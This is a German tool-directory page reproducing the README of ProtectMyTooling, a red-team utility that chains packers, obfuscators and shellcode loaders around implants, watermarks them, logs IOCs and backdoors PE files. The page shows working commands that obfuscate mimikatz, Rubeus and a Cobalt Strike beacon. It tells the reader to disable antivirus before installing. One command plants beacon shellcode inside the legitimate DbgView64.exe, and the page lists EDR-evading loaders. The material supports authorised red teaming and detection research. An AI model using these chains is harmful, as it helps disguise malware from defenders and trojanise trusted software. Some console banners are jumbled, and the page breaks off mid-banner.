Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/mgeeky/protectmytooling
Management von Indicators of Compromise (IOC)Penetrationstest-FrameworksExploit-FrameworksPayload-GenerierungMalware-AnalyseBinäranalyseRed TeamingPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

GitHub
mgeeky/protectmytooling

ProtectMyTooling

Repository anzeigenWebseite
1.1k148vor 10 MonatenVon Kitploit geprüft

Multi-Packer Wrapper, der es ermöglicht, verschiedene Packer, Obfuskatoren und andere Red Team-orientierte Waffen aneinanderzureihen. Ausgestattet mit Artefakt-Watermarking, IOCs-Sammlung und PE Backdooring. Du fütterst es mit deinem Implant, es führt eine Menge heimlicher Dinge aus und gibt eine obfuskierte ausführbare Datei aus.

Teilen

1.png

Erkenne keine Werkzeuge - Erkenne Techniken

Die Beweggründe für die Veröffentlichung dieser Software wurden in einem begleitenden Blogbeitrag dargelegt:

  • ProtectMyTooling - Erkenne keine Werkzeuge, erkenne Techniken

Einführung

Ein Skript, das eine Vielzahl von Packern, Protectoren, Obfuskatoren, Shellcode-Ladern, Encodern und Generatoren umschließt, um komplex geschützte Red-Team-Implantate zu erzeugen. Ihr perfekter Begleiter in der CI/CD-Pipeline für Malware-Entwicklung, der hilft, Ihre Artefakte zu watermarken, IOCs zu sammeln, Backdoors zu setzen und mehr.

ProtectMyToolingGUI.py

3.png

Mit ProtectMyTooling können Sie Ihre Binärdateien schnell obfuskieren, ohne sich durch all die Dialoge, Schnittstellen, Menüs klicken, Projekte erstellen, um eine einzelne Binärdatei zu obfuskieren, durch alle Optionen zu klicken und Zeit mit all dem Unsinn zu verschwenden. Es bringt Sie direkt zum Ziel - Ihr Werkzeug zu obfuskieren.

Ziel ist es, die benutzerfreundlichste Schnittstelle zu bieten und die Verwendung einer Kette mehrerer Packer auf einer einzelnen Binärdatei zu ermöglichen.

Das ist richtig - wir können ProtectMyTooling mit mehreren Packern gleichzeitig starten:``` C:> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe

root@kitploit:~
Das obige Beispiel übergibt zunächst `mimikatz.exe` an Hyperion zur Verschleierung, und dann wird das Ergebnis an UPX zur Komprimierung übergeben. Ergebnis: `UPX(Hyperion(file))`

## Funktionen

- Unterstützt mehrere verschiedene PE-Packer, .NET-Obfuskatoren, Shellcode-Lader/Builder
- Ermöglicht das Verketten von Packern, bei dem die Ausgabe eines Packers an den nächsten weitergegeben wird: `callobf,hyperion,upx` erzeugt das Artefakt `UPX(Hyperion(CallObf(file)))`
- Sammelt IOCs bei jedem Verschleierungsschritt, sodass Auditing & Anforderungen des Blue Teams erfüllt werden können
- Bietet die Möglichkeit, benutzerdefinierte Wasserzeichen in resultierende PE-Artefakte einzufügen – im DOS-Stub, in der Prüfsumme, als eigenständiger PE-Abschnitt, im Overlay der Datei
- Enthält ein praktisches Cobalt-Strike-Aggressor-Skript, das die Befehle `protected-upload` und `protected-execute-assembly` bereitstellt
- Einfache Befehlszeilennutzung

## Installation

**Dieses Tool wurde für die Verwendung unter Windows entwickelt, da die meisten Packer nativ auf diese Plattform abzielen.**

Einige Funktionen können jedoch auch unter Linux einwandfrei funktionieren; dennoch wird dieser Support nicht umfassend getestet. Bitte melden Sie Fehler und Probleme.

1. **Deaktivieren Sie zunächst Ihr Antivirenprogramm** und fügen Sie das Verzeichnis `contrib` zu den Ausschlüssen hinzu. Dieses Verzeichnis enthält Obfuskatoren und Schutzprogramme, die vom Antivirenprogramm erkannt und entfernt werden.
2. Klonen Sie dann dieses Repository.```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling
  1. Die eigentliche Installation ist unkompliziert:

Windows``` PS C:\ProtectMyTooling> .\install.ps1

root@kitploit:~
**Linux**```
bash# ./install.sh

Besonderheiten

Damit das ScareCrow Packer unter Windows 10 ausgeführt werden kann, muss WSL installiert und bash.exe (in %PATH%) verfügbar sein. Dann muss in WSL golang in mindestens Version 1.16 installiert sein:``` cmd> bash bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y

root@kitploit:~
## Konfiguration

Um unterstützte Obfuskierer einzubinden, Standardoptionen zu ändern oder **ProtectMyTooling** auf den Pfad Ihrer Obfuskierer-ausführbaren Datei zu verweisen, müssen Sie die Konfigurationsdatei `config\ProtectMyTooling.yaml` anpassen.

Es gibt auch die Datei `config\sample-full-config.yaml`, die alle verfügbaren Optionen für alle unterstützten Packer enthält und als Referenz dient.

## Freundlicher Hinweis

- Wenn Ihr erzeugtes Binary abstürzt oder nicht wie erwartet läuft, versuchen Sie es mit einer anderen Packer-Kette.
- Packer garantieren keine Stabilität der erzeugten Binaries, daher kann ProtectMyTooling dies auch nicht.
- Verkettung: Achten Sie sorgfältig darauf, dass die Ausgabe- und Eingabe-Payload-Formate den Erwartungen des jeweils nächsten Packers entsprechen.

---

## Verwendung

Vor der ersten Verwendung von `ProtectMyTooling` ist es wichtig, die YAML-Konfigurationsdatei `ProtectMyTooling.yaml` des Programms anzupassen. Die Reihenfolge der Parameterverarbeitung ist wie folgt:

- Zuerst werden Standardparameter verwendet
- Dann werden sie durch Werte aus der YAML-Datei überschrieben
- Schließlich überschreibt alles, was in der Befehlszeile angegeben wird, die entsprechenden Werte

Dort müssen die Pfade und Optionen der unterstützten Packer festgelegt werden, um sie zu aktivieren.

### Szenario 1: Einfache ConfuserEx-Obfuskierung

Die Verwendung ist sehr einfach: Es reicht, den Namen des zu wählenden Obfuskierers sowie die Pfade der Eingabe- und Ausgabedateien zu übergeben:```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

Szenario 2: Einfache ConfuserEx-Verschleierung gefolgt von Artefakttest

Man kann die Datei auch verschleiern und sofort versuchen, sie zu starten (auch mit bereitgestellten optionalen Parametern), um sicherzustellen, dass sie mit den Optionen -r --cmdline CMDLINE ordnungsgemäß funktioniert:``` C:> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe -r --cmdline "hash /password:foobar"

root@kitploit:~
[...]

[.] Processing x86 file: "\Rubeus.exe" [.] Generating output of ConfuserEx()...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(): 758272, ratio: 181.72%

Running application to test it...


(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/

v2.0.0

[*] Action: Calculate Password Hash(es)

[] Input password : foobar [] rc4_hmac : BAAC3929FABC9E6DCD32421BA94A84D4

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

root@kitploit:~
### Szenario 3: Komplexe Malware-Verschleierung mit Wasserzeichen und IOCs-Sammlung

Der folgende Anwendungsfall nimmt `beacon.exe` als Eingabe und führt es nacheinander durch die Packer `CallObf` -> `UPX` -> `Hyperion`.

Dann wird das angegebene `fooobar`-Wasserzeichen in den DOS-Stub des endgültig erzeugten Ausgabe-Artefakts eingefügt und die Prüfsumme dieses Artefakts mit dem Wert `0xAABBCCDD` modifiziert.

Schließlich erfasst ProtectMyTooling alle IOCs (md5, sha1, sha256, imphash und andere Metadaten) und speichert sie in einer Hilfs-CSV-Datei. Diese Datei kann für den IOC-Abgleich verwendet werden, wenn sich das Engagement entfaltet.```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

Die erstellte IOCs-Evidence-CSV-Datei sieht wie folgt aus:```csv timestamp,filename,author,context,comment,md5,sha1,sha256,imphash 2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c 2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43 2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf()),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf())),test,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d

root@kitploit:~
## Unterstützte Packer

`ProtectMyTooling` wurde entwickelt, um nicht nur Obfuskatoren/Packer zu unterstützen, sondern auch alle Arten von Buildern/Generatoren/Shellcode-Ladern, die über die Befehlszeile verwendbar sind.

Derzeit unterstützt das Programm verschiedene kommerzielle und Open-Source-Packer/Obfuskatoren. Die Open-Source-Packer sind im Projekt enthalten.
Kommerzielle erfordern, dass der Benutzer das Produkt erwirbt und seinen Speicherort in der Datei `ProtectMyTooling.yaml` konfiguriert, damit das Skript sie finden kann.

1. [`Amber`](https://github.com/EgeBalci/amber) - Reflektiver PE-Packer, der EXE/DLL als Eingabe nimmt und EXE/PIC-Shellcode erzeugt
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - Ein leistungsstarker PE-Packer
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Ein Konsolen-Obfuskator für .NET-Assemblys von Charterino
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - Obfuskiert bestimmte Windows-APIs mit anderen APIs.
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - Beliebter .NET-Obfuskator, abgeleitet von [Martin Karing](https://github.com/mkaring)
6. [`Donut`](https://github.com/TheWover/donut) - Beliebter PE-Lader, der EXE/DLL/.NET als Eingabe nimmt und PIC-Shellcode erzeugt
7. [`Enigma`](https://enigmaprotector.com/) - Ein leistungsstarkes System zum umfassenden Schutz ausführbarer Dateien
8. [`Freeze`](https://github.com/optiv/Freeze) - Nimmt eine EXE/DLL-Datei als Eingabe und erzeugt eine Ausgabedatei mit geklontem Zertifikat, entfernten Golang-spezifischen IoCs und aufgeblähter Größe. Von Matt Eidelberg (@Tyl0us).
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - Laufzeitverschlüsseler für 32-Bit- und 64-Bit-portable ausführbare Dateien. Es ist eine Referenzimplementierung und basiert auf dem Paper „Hyperion: Implementation of a PE-Crypter“.
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - Kombiniert starke Lizenzen-Sicherheit, hochgradig anpassbare Lizenzierungsfunktionen/-Schema mit zuverlässigem Assembly-Schutz
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - Obfuskiert PowerShell-Skripte mit `Invoke-Obfuscation` (von Daniell Bohannon)
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - Ein fortgeschrittenerer freier und offener .NET-Obfuskator mit dnlib von AnErrupTion
13. [`Mangle`](https://github.com/optiv/Mangle) - Nimmt eine EXE/DLL-Datei als Eingabe und erzeugt eine Ausgabedatei mit geklontem Zertifikat, entfernten Golang-spezifischen IoCs und aufgeblähter Größe. Von Matt Eidelberg (@Tyl0us).
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - MPRESS-Kompressor von Vitaly Evseenko. Nimmt EXE/DLL/.NET/MAC-DARWIN (x86/x64) als Eingabe und komprimiert sie.
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - Unübertroffenes .NET-Code-Schutzsystem, das das Dekompilieren Ihres Codes vollständig verhindert
16. [`NetShrink`](https://www.pelock.com/pl/produkty/netshrink) - Ein EXE-Packer, auch bekannt als ausführbarer Kompressor, Anwendungspasswortschutz und virtueller DLL-Binder für Windows- & Linux-.NET-Anwendungen.
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - Erzeugt Nim-Lader, der eingegebenes .NET, PE oder rohen Shellcode ausführt. Autor: [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - Nimmt Shellcode oder .NET ausführbare Datei als Eingabe, erzeugt EXE- oder DLL-Lader. Präsentiert von Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten)
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - Nimmt PE/Shellcode/.NET ausführbare Datei und erzeugt einen robusten Nim+Syscalls EXE/DLL-Lader. Sponsorware, authorisiert von [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - Wrapper um John Adams' `Packer64`
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - Konvertiert PE in einen Shellcode. Von niemand Geringerem als [@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - Ein Multi-Pass-Encoder und heuristisches Sandbox-Umgehungs- und AV-Evasion-Tool
23. [`peresed`](https://github.com/avast/pe_tools) - Verwendet _"peresed"_ aus **avast/pe_tools**, um alle vorhandenen PE-Ressourcen und Signaturen zu entfernen _(denken Sie an das Mimikatz-Symbol)._
24. [`peunion`](https://bytecode77.com/pe-union) - Verschlüsselt ausführbare Dateien (x86 oder .NET x86/x64), die zur Laufzeit entschlüsselt und im Speicher ausgeführt werden
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - EDR-umgehender x64-Shellcode-Lader, der DLL/CPL/XLL/JScript/HTA-Artefakt-Lader erzeugt
26. [`sgn`](https://github.com/EgeBalci/sgn) - Shikata ga nai (仕方がない) Encoder, der mit mehreren Verbesserungen nach Go portiert wurde. Nimmt Shellcode und erzeugt codierten Shellcode
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - Obfuskator, der hilft, Ihre Anwendung vor Reverse-Engineering oder Modifikation zu schützen, indem es Dritten erschwert wird, auf Ihren Quellcode zuzugreifen
28. [`sRDI`](https://github.com/monoxgas/sRDI) - Wandelt DLLs in positionsunabhängigen Shellcode um. Autor: [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - Fortschrittliches Windows-Software-Schutzsystem
30. [`UPX`](https://upx.github.io/) - Ein freier, portabler, erweiterbarer, leistungsstarker ausführbarer Packer für mehrere ausführbare Formate.
31. [`VMProtect`](https://vmpsoft.com/) - Schützt Code, indem er ihn auf einer virtuellen Maschine mit nicht standardmäßiger Architektur ausführt, was die Analyse und das Knacken der Software extrem erschwert.

Sie können unterstützte Packer schnell mit der Option `-L` auflisten (Tabellenspalten werden je nach Terminalbreite gewählt, je breiter, desto mehr Informationen werden angezeigt):```
C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |  atompepacker  | open-source |  PE EXE/DLL Protector |              PE             |        EXE, DLL        |            ORCA (@ORCx41, [email protected])            |
| 4  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 5  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 6  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 7  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 8  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 9  |     freeze     | open-source |    Shellcode Loader   |          Shellcode          |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 10 |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 11 |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 12 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 13 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 14 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 15 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 16 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 17 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 18 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 19 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 20 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 21 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 22 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 23 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 24 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 25 |    peunion     |   freeware  | PE EXE/DLL Compressor |           PE, .NET          |           PE           |  Martin Fischer / bytecode77 <[email protected]>   |
| 26 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 27 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 28 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 29 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 30 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 31 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

Oben sind die unterstützten Packer aufgeführt, aber das bedeutet nicht, dass diese konfiguriert und einsatzbereit sind. Um sie nutzen zu können, müssen Sie zuerst die erforderlichen Binärdateien in das contrib-Verzeichnis legen und dann Ihre YAML-Datei entsprechend konfigurieren.

RedWatermarker - integrierte Artefakt-Wasserzeichen

Artefakt-Wasserzeichen & IOC-Erfassung

Dieses Programm ist für professionelle Red Teams gedacht und eignet sich perfekt für den Einsatz in einer typischen CI/CD-Pipeline zur Implant-Entwicklung. Als Red Teamer wird von mir erwartet, eine anständige Liste von IOCs zu liefern, die auf alle meine Implants abgestimmt ist, und ich halte es für unerlässlich, alle meine Implants zu Zwecken der Buchhaltung, Zuordnung und Rückverfolgbarkeit mit Wasserzeichen zu versehen.

Um diesen Anforderungen gerecht zu werden, bietet ProtectMyTooling eine grundlegende Unterstützung dafür.

Artefakt-Wasserzeichen

ProtectMyTooling kann nach Verschleierungsdurchläufen Wasserzeichen anwenden, indem es einfach die Option --watermark verwendet.:``` py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG

root@kitploit:~
Es gibt auch einen eigenständigen Ansatz, der im Skript `RedWatermarker.py` enthalten ist.

Es nimmt ein ausführbares Artefakt als Eingabe und akzeptiert einige Parameter, die angeben, wo ein Wasserzeichen eingefügt werden soll und welcher Wert eingefügt werden soll.

Ein Beispielaufruf setzt die PE-Prüfsumme auf 0xAABBCCDD, fügt `foooobar` in den DOS-Stub der PE-Datei ein (Bytes mit _This program cannot be run..._), hängt `bazbazbaz` an das Overlay der Datei an, erstellt dann einen neuen PE-Abschnitt namens `.coco`, hängt ihn an das Ende der Datei an und füllt diesen Abschnitt mit einem vordefinierten Marker.```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

Vollständige Nutzung von watermarker:``` cmd> py RedWatermarker.py --help

root@kitploit:~
                  ;
                  ED.
                 ,E#Wi

j. f#iE###G. EW, .E#t E#fD#W; E##j i#W, E#t t##L E###D. L#D. E#t .E#K, E#jG#W; :K#Wfff; E#t j##f E#t t##f i##WLLLLtE#t :E#K: E#t :K#E: .E#L E#t t##L E#KDDDD###i f#E: E#t .D#W; ,; G: ,; E#f,t#Wi,,, ,WW; E#tiW#G. f#i j. j. E#, : f#i j. E#t ;#W: ; .D#;E#K##i .. GEEEEEEEL .E#t EW, .. : .. EW, E#t .GE .E#t EW, DWi ,K.DL ttE##D. ;W, ,;;L#K;;. i#W, E##j ,W, .Et ;W, E##j E#t j#K; i#W, E##j f. :K#L LWL E#t j##, t#E L#D. E###D. t##, ,W#t j##, E###D. E#GK#f L#D. E###D. EW: ;W##L .E#f L: G###, t#E :K#Wfff; E#jG#W; L###, j###t G###, E#jG#W; E##D. :K#Wfff; E#jG#W; E#t t#KE#L ,W#; :E####, t#E i##WLLLLt E#t t##f .E#j##, G#fE#t :E####, E#t t##f E##Wi i##WLLLLt E#t t##f E#t f#D.L#L t#K: ;W#DG##, t#E .E#L E#t :K#E: ;WW; ##,:K#i E#t ;W#DG##, E#t :K#E:E#jL#D: .E#L E#t :K#E: E#jG#f L#LL#G j###DW##, t#E f#E: E#KDDDD###i j#E. ##f#W, E#t j###DW##, E#KDDDD###E#t ,K#j f#E: E#KDDDD###i E###; L###j G##i,,G##, t#E ,WW; E#f,t#Wi,,,.D#L ###K: E#t G##i,,G##, E#f,t#Wi,,E#t jD ,WW; E#f,t#Wi,,, E#K: L#W; :K#K: L##, t#E .D#; E#t ;#W: :K#t ##D. E#t :K#K: L##, E#t ;#W: j#t .D#; E#t ;#W: EG LE. ;##D. L##, fE tt DWi ,KK:... #G .. ;##D. L##, DWi ,KK: ,; tt DWi ,KK: ; ;@ ,,, .,, : j ,,, .,,

root@kitploit:~
Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

usage: RedWatermarker.py [options]

options: -h, --help show this help message and exit

Required arguments: infile Input implant file

Optional arguments: -C, --check Do not actually inject watermark. Check input file if it contains specified watermarks. -v, --verbose Verbose mode. -d, --debug Debug mode. -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile.

PE Executables Watermarking: -t STR, --dos-stub STR Insert watermark into PE DOS Stub (This program cannot be run...). -c NUM, --checksum NUM Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value. -e STR, --overlay STR Append watermark to the file's Overlay (at the end of the file). -s NAME,STR, --section NAME,STR Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.

root@kitploit:~
Derzeit wird nur das Watermarking von PE-Dateien unterstützt, aber in Zukunft sollen Office-Dokumente und andere Formate hinzugefügt werden.


### IOCs Collection

IOCs können gesammelt werden, indem einfach die Option `-i` im `ProtectMyTooling`-Lauf verwendet wird.

Sie werden in den folgenden Phasen gesammelt:

- bei der Eingabedatei
- nach jeder Verschleierungsrunde an einer Zwischendatei
- an der endgültigen Ausgabedatei

Sie enthalten die folgenden Felder, die in Form einer CSV-Datei gespeichert werden:

- `timestamp`
- `filename`
- `author` - gebildet als `username@hostname`
- `context` - ob ein Datensatz auf eine Eingabe-, Ausgabe- oder Zwischendatei verweist
- `comment` - Wert, der vom Benutzer über die Option `-I value` angepasst wird
- `md5`
- `sha1`
- `sha256`
- `imphash` - PE Imports Hash, falls verfügbar
- (TODO) `typeref_hash` - .NET TypeRef Hash, falls verfügbar

Das Ergebnis ist eine CSV-Datei mit dem Namen `outfile-ioc.csv`, die neben dem generierten Ausgabeartefakt gespeichert wird. Diese Datei wird im APPEND-Modus geschrieben, d.h. sie erhält alle nachfolgenden IOCs.


# RedBackdoorer - built-in PE Backdooring

`ProtectMyTooling` verwendet mein eigenes Skript `RedBackdoorer.py`, das einige Methoden zum Hintertür-Einbau in PE-Programme bereitstellt. Die Unterstützung erfolgt als dedizierter Packer namens `backdoor`. Beispielverwendung:

**Nimmt Cobalt-Strike-Shellcode als Eingabe, codiert mit SGN (Shikata Ga-Nai), baut dann eine Hintertür in SysInternals DbgView64.exe ein und erzeugt schließlich den Amber EXE Reflective Loader**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
